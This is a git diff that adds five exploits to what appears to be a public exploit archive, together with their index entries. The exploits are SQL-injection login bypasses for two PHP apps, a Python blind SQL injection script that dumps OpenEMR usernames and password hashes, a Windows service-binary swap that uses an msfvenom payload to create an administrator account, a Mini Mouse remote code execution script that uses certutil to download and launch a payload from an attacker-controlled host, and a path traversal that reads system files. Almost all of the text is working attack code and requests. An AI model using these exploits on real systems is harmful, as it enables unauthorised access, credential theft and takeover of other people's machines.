diff --git a/exploits/php/webapps/49740.txt b/exploits/php/webapps/49740.txt new file mode 100644 index 000000000..024ce8cbf --- /dev/null +++ b/exploits/php/webapps/49740.txt @@ -0,0 +1,38 @@ +# Exploit Title: Simple Food Website 1.0 - Authentication Bypass +# Date: 2021-04-03 +# Exploit Author: Viren Saroha (illusion) +# Vendor Homepage: https://www.sourcecodester.com/php/12510/simple-food-website-php.html +# Software Link: https://www.sourcecodester.com/download-code?nid=12510&title=Simple+Food+Website+%28CMS%29+in+PHP+with+Source+Code +# Version: 1.0 +# Tested on: Windows 10/Kali Linux + +POC + +Step 1 - Go to url http://localhost/food/admin/login.php +Step 2 – Enter anything in username and password +Step 3 – Click on Login and capture the request in burpsuite +Step 4 – Change the username to ' or '1'='1'# +Step 5 – Click forward and now you will be logged in as admin. + + +REQUEST + + +POST /food/admin/process_login.php HTTP/1.1 +Host: 192.168.132.128 +Content-Length: 76 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +Origin: http://192.168.132.128 +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Accept: +text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Referer: http://192.168.132.128/food/admin/login.php +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Cookie: PHPSESSID=44189551c332ee92a95246aac0756dd3 +Connection: close + +username=%27+or+%271%27%3D%271%27%23&password=randomPassword&Sign+In=Sign+In \ No newline at end of file diff --git a/exploits/php/webapps/49741.txt b/exploits/php/webapps/49741.txt new file mode 100644 index 000000000..8baa68bb1 --- /dev/null +++ b/exploits/php/webapps/49741.txt @@ -0,0 +1,36 @@ +# Exploit Title: Basic Shopping Cart 1.0 - Authentication Bypass +# Date: 2021-04-03 +# Exploit Author: Viren Saroha (illusion) +# Vendor Homepage: https://www.sourcecodester.com/php/10964/basic-shopping-cartphpmysql.html +# Software Link: https://www.sourcecodester.com/download-code?nid=10964&title=Basic+Shopping+Cart+using+PHP%2FMySQL+with+Source+Code +# Version: 1.0 +# Tested on: Windows 10/Kali Linux + +POC + +Step 1 - Go to url http://localhost/EdgeSketch/index.php and Click on Admin +Step 2 – Enter anything in username and password +Step 3 – Click on Login and capture the request in burpsuite +Step4 – Change the username to ' or '1'='1'# +Step 5 – Click forward and now you will be logged in as admin. + +REQUEST + +POST /EdgeSketch/adminlogin.php HTTP/1.1 +Host: localhost +Content-Length: 77 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +Origin: http://localhost +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Accept: +text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Referer: http://localhost/EdgeSketch/index.php +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Cookie: PHPSESSID=6b7072bb40c321cb336aacef057a0876 +Connection: close + +admin_username=%27+or+%271%27%3D%271%27%23&admin_password=random&admin_login= \ No newline at end of file diff --git a/exploits/php/webapps/49742.py b/exploits/php/webapps/49742.py new file mode 100755 index 000000000..448a616f8 --- /dev/null +++ b/exploits/php/webapps/49742.py @@ -0,0 +1,75 @@ +# Exploit Title: OpenEMR 4.1.0 - 'u' SQL Injection +# Date: 2021-04-03 +# Exploit Author: Michael Ikua +# Vendor Homepage: https://www.open-emr.org/ +# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v4_1_0.zip +# Version: 4.1.0 +# Original Advisory: https://www.netsparker.com/web-applications-advisories/sql-injection-vulnerability-in-openemr/ + +#!/usr/bin/env python3 + +import requests +import string +import sys + +print(""" + ____ ________ _______ __ __ ___ ____ + / __ \____ ___ ____ / ____/ |/ / __ \ / // / < // __ \\ + / / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ / / // /_ / // / / / +/ /_/ / /_/ / __/ / / / /___/ / / / _, _/ /__ __/ / // /_/ / +\____/ .___/\___/_/ /_/_____/_/ /_/_/ |_| /_/ (_)_(_)____/ + /_/ + ____ ___ __ _____ ____ __ _ + / __ )/ (_)___ ____/ / / ___// __ \ / / (_) + / /_/ / / / __ \/ __ / \__ \/ / / / / / / / + / /_/ / / / / / / /_/ / ___/ / /_/ / / /___/ / +/_____/_/_/_/ /_/\__,_/ /____/\___\_\/_____/_/ exploit by @ikuamike +""") + +all = string.printable +# edit url to point to your openemr instance +url = "http://192.168.56.106/openemr/interface/login/validateUser.php?u=" + +def extract_users_num(): + print("[+] Finding number of users...") + for n in range(1,100): + payload = '\'%2b(SELECT+if((select count(username) from users)=' + str(n) + ',sleep(3),1))%2b\'' + r = requests.get(url+payload) + if r.elapsed.total_seconds() > 3: + user_length = n + break + print("[+] Found number of users: " + str(user_length)) + return user_length + +def extract_users(): + users = extract_users_num() + print("[+] Extracting username and password hash...") + output = [] + for n in range(1,1000): + payload = '\'%2b(SELECT+if(length((select+group_concat(username,\':\',password)+from+users+limit+0,1))=' + str(n) + ',sleep(3),1))%2b\'' + #print(payload) + r = requests.get(url+payload) + #print(r.request.url) + if r.elapsed.total_seconds() > 3: + length = n + break + for i in range(1,length+1): + for char in all: + payload = '\'%2b(SELECT+if(ascii(substr((select+group_concat(username,\':\',password)+from+users+limit+0,1),'+ str(i)+',1))='+str(ord(char))+',sleep(3),1))%2b\'' + #print(payload) + r = requests.get(url+payload) + #print(r.request.url) + if r.elapsed.total_seconds() > 3: + output.append(char) + if char == ",": + print("") + continue + print(char, end='', flush=True) + + +try: + extract_users() +except KeyboardInterrupt: + print("") + print("[+] Exiting...") + sys.exit() \ No newline at end of file diff --git a/exploits/windows/local/49739.txt b/exploits/windows/local/49739.txt new file mode 100644 index 000000000..1bd3688c5 --- /dev/null +++ b/exploits/windows/local/49739.txt @@ -0,0 +1,53 @@ +# Exploit Title: Rockstar Service - Insecure File Permissions +# Date: 2020-04-02 +# Exploit Author: George Tsimpidas +# Software Link : https://socialclub.rockstargames.com/rockstar-games-launcher +# Version Patch: 1.0.37.349 +# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362 + +Vulnerability Description: + +RockstarService.exe suffers from an elevation of privileges vulnerability which can be used by an "Authenticated User" to modify the existing executable file of the service with a binary of his choice. The vulnerability exist due to weak set of permissions being granted to the "Authenticated Users Group" which grants the (M) Flag aka "Modify Privilege" + +#PoC + + D:\Launcher> icacls .\Launcher.exe + +.\Launcher.exe BUILTIN\Administrators:(I)(F) + NT AUTHORITY\SYSTEM:(I)(F) + NT AUTHORITY\Authenticated Users:(I)(M) + BUILTIN\Users:(I)(RX) + +#1. Create low privileged user & Login to that user + +C:\>net user lowpriv Password123! /add +C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full" +User name lowpriv +Local Group Memberships *Users +Global Group memberships *None + +#2. Move the RockstarService.exe to a new name + +D:\Launcher> move RockstarService.exe RockstarService.exe.bk +1 file(s) moved. + +#3. Create malicious binary on kali linux with MSF + +msfvenom -f exe -p windows/exec CMD="net user placebo Password123! /add && net localgroup Administrators placebo /add" -o RockstarService.exe + +#4. Transfer created 'RockstarService.exe' to the Windows Host + +#5. Move the created 'RockstarService.exe' binary to the 'D:\Launcher' to replace the old one + +#6. Now start the Service + +Command : net start 'Rockstar Service' + +Now check out that the user has been registered to the system and added to the local group of Administrators + +C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr +/v "Full" + +User name placebo +Local Group Memberships *Administrators *Users +Global Group memberships *None \ No newline at end of file diff --git a/exploits/windows/webapps/49743.py b/exploits/windows/webapps/49743.py new file mode 100755 index 000000000..5ee330f30 --- /dev/null +++ b/exploits/windows/webapps/49743.py @@ -0,0 +1,27 @@ +# Exploit Title: Mini Mouse 9.2.0 - Remote Code Execution +# Author: gosh +# Date: 01-04-2021 +# Vendor Homepage: http://yodinfo.com +# Software Link: https://imgv.oss-cn-hangzhou.aliyuncs.com/minimouse.msi +# Version: 9.2.0 +# Tested on: Windows 10 Pro build 19042.662 + +#!/usr/bin/python3 +import requests +import json +import jsonargparse +from time import sleep + +ip = input("target's ip: ") +lhost = input("local http server ip: ") +name = input("payload file name: ") +url = "http://{}:8039/op=command".format(ip) +headers = {"Content-Type": "application/json", "Connection": "keep-alive", "Accept": "*/*", "User-Agent": "MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00)", "Accept-Language": "en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8", "Accept-Encoding": "gzip, deflate"} +down = {"command_operate_type": 0, "name": "abc", "script": f"certutil.exe -urlcache -split -f http://{lhost}/{name} C:\\Windows\\Temp\\{name}", "time": 0, "type": 100000} +r = requests.post(url, headers=headers, json=down) +print("[+] Retrieving payload") +sleep(1) +shell={"command_operate_type": 0, "name": "abd", "script": f"start /B C:\\Windows\\Temp\\{name}", "time": 0, "type": 100000} +s = requests.post(url, headers=headers, json=shell) +print (r.status_code) +print ("[+] got shell!") \ No newline at end of file diff --git a/exploits/windows/webapps/49744.txt b/exploits/windows/webapps/49744.txt new file mode 100644 index 000000000..bfb11f090 --- /dev/null +++ b/exploits/windows/webapps/49744.txt @@ -0,0 +1,172 @@ +# Exploit Title: Mini Mouse 9.2.0 - Path Traversal +# Author: gosh +# Date: 02-04-2021 +# Vendor Homepage: http://yodinfo.com +# Software Link: https://imgv.oss-cn-hangzhou.aliyuncs.com/minimouse.msi +# Version: 9.2.0 +# Tested on: Windows 10 Pro build 19042.662 + +POC + +GET /file=C:%5CWindows%5Cwin.ini HTTP/1.1 +Host: 192.168.1.111:8039 +Content-Type: application/json +Connection: keep-alive +Accept: */* +User-Agent: MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00) +Accept-Language: en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8 +Content-Length: 0 +Accept-Encoding: gzip, deflate + +{} + + + + +....................................................... + +HTTP/1.1 200 OK +Server: bruce_wy/1.0.0 +Access-Control-Allow-Methods: POST,GET,TRACE,OPTIONS +Access-Control-Allow-Headers: Content-Type,Origin,Accept +Access-Control-Allow-Origin: * +Access-Control-Allow-Credentials: true +P3P: CP=CAO PSA OUR +Content-Type: application/octet-stream +Content-Range: bytes 0-0/92 +Content-Length : 92 + +; for 16-bit app support +[fonts] +[extensions] +[mci extensions] +[files] +[Mail] +MAPI=1 + + +second POC: + +POST /op=get_file_list HTTP/1.1 +Host: 192.168.1.111:8039 +Content-Type: application/json +Connection: keep-alive +Accept: */* +User-Agent: MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00) +Accept-Language: en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8 +Content-Length: 28 +Accept-Encoding: gzip, deflate + +{"path":"C:\\Users\\Public"} + + + +............................................................. + +HTTP/1.1 200 OK +Server: bruce_wy/1.0.0 +Access-Control-Allow-Methods: POST,GET,TRACE,OPTIONS +Access-Control-Allow-Headers: Content-Type,Origin,Accept +Access-Control-Allow-Origin: * +Access-Control-Allow-Credentials: true +P3P: CP=CAO PSA OUR +Content-Type: application/json +Content-Range: bytes 0-0/-1 + +{ +"ret_code": 1, +"ret_msg": "success", +"data": { +"list": [{ +"path": "C:\\Users\\Public\\AccountPictures", +"is_hide": true, +"is_floder": true, +"name": "AccountPictures", +"name_display": "AccountPictures", +"file_size": 0, +"create_time": 1615677, +"update_time": 1615737, +"sys_type": 2 +}, { +"path": "C:\\Users\\Public\\Desktop", +"is_hide": true, +"is_floder": true, +"name": "Desktop", +"name_display": "Desktop", +"file_size": 0, +"create_time": 1575713, +"update_time": 1617276, +"sys_type": 2 +}, { +"path": "C:\\Users\\Public\\desktop.ini", +"is_hide": true, +"is_floder": false, +"name": "desktop.ini", +"name_display": "desktop", +"file_size": 174, +"create_time": 1575713, +"update_time": 1575713, +"sys_type": 2 +}, { +"path": "C:\\Users\\Public\\Documents", +"is_hide": false, +"is_floder": true, +"name": "Documents", +"name_display": "Documents", +"file_size": 0, +"create_time": 1575713, +"update_time": 1575713, +"sys_type": 2 +}, { +"path": "C:\\Users\\Public\\Downloads", +"is_hide": false, +"is_floder": true, +"name": "Downloads", +"name_display": "Downloads", +"file_size": 0, +"create_time": 1575713, +"update_time": 1575713, +"sys_type": 2 +}, { +"path": "C:\\Users\\Public\\Libraries", +"is_hide": true, +"is_floder": true, +"name": "Libraries", +"name_display": "Libraries", +"file_size": 0, +"create_time": 1575713, +"update_time": 1575714, +"sys_type": 2 +}, { +"path": "C:\\Users\\Public\\Music", +"is_hide": false, +"is_floder": true, +"name": "Music", +"name_display": "Music", +"file_size": 0, +"create_time": 1575713, +"update_time": 1575713, +"sys_type": 2 +}, { +"path": "C:\\Users\\Public\\Pictures", +"is_hide": false, +"is_floder": true, +"name": "Pictures", +"name_display": "Pictures", +"file_size": 0, +"create_time": 1575713, +"update_time": 1575713, +"sys_type": 2 +}, { +"path": "C:\\Users\\Public\\Videos", +"is_hide": false, +"is_floder": true, +"name": "Videos", +"name_display": "Videos", +"file_size": 0, +"create_time": 1575713, +"update_time": 1575713, +"sys_type": 2 +}] +} +} \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 1768a8f91..a0775b42d 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -11310,6 +11310,7 @@ id,file,description,date,author,type,platform,port 49703,exploits/windows/local/49703.txt,"ActivIdentity 8.2 - 'ac.sharedstore' Unquoted Service Path",2021-03-23,SamAlucard,local,windows, 49704,exploits/windows/local/49704.txt,"Elodea Event Collector 4.9.3 - 'ElodeaEventCollectorService' Unquoted Service Path",2021-03-23,"Alan Mondragon",local,windows, 49706,exploits/windows/local/49706.txt,"Ext2Fsd v0.68 - 'Ext2Srv' Unquoted Service Path",2021-03-24,"Mohammed Alshehri",local,windows, +49739,exploits/windows/local/49739.txt,"Rockstar Service - Insecure File Permissions",2021-04-05,"George Tsimpidas",local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -43916,3 +43917,8 @@ id,file,description,date,author,type,platform,port 49735,exploits/linux/webapps/49735.py,"ScadaBR 1.0 - Arbitrary File Upload (Authenticated) (2)",2021-04-01,"Fellipe Oliveira",webapps,linux, 49737,exploits/hardware/webapps/49737.txt,"ZBL EPON ONU Broadband Router 1.0 - Remote Privilege Escalation",2021-04-02,LiquidWorm,webapps,hardware, 49738,exploits/hardware/webapps/49738.py,"F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)",2021-04-02,Al1ex,webapps,hardware, +49740,exploits/php/webapps/49740.txt,"Simple Food Website 1.0 - Authentication Bypass",2021-04-05,"Viren Saroha",webapps,php, +49741,exploits/php/webapps/49741.txt,"Basic Shopping Cart 1.0 - Authentication Bypass",2021-04-05,"Viren Saroha",webapps,php, +49742,exploits/php/webapps/49742.py,"OpenEMR 4.1.0 - 'u' SQL Injection",2021-04-05,"Michael Ikua",webapps,php, +49743,exploits/windows/webapps/49743.py,"Mini Mouse 9.2.0 - Remote Code Execution",2021-04-05,gosh,webapps,windows, +49744,exploits/windows/webapps/49744.txt,"Mini Mouse 9.2.0 - Path Traversal",2021-04-05,gosh,webapps,windows,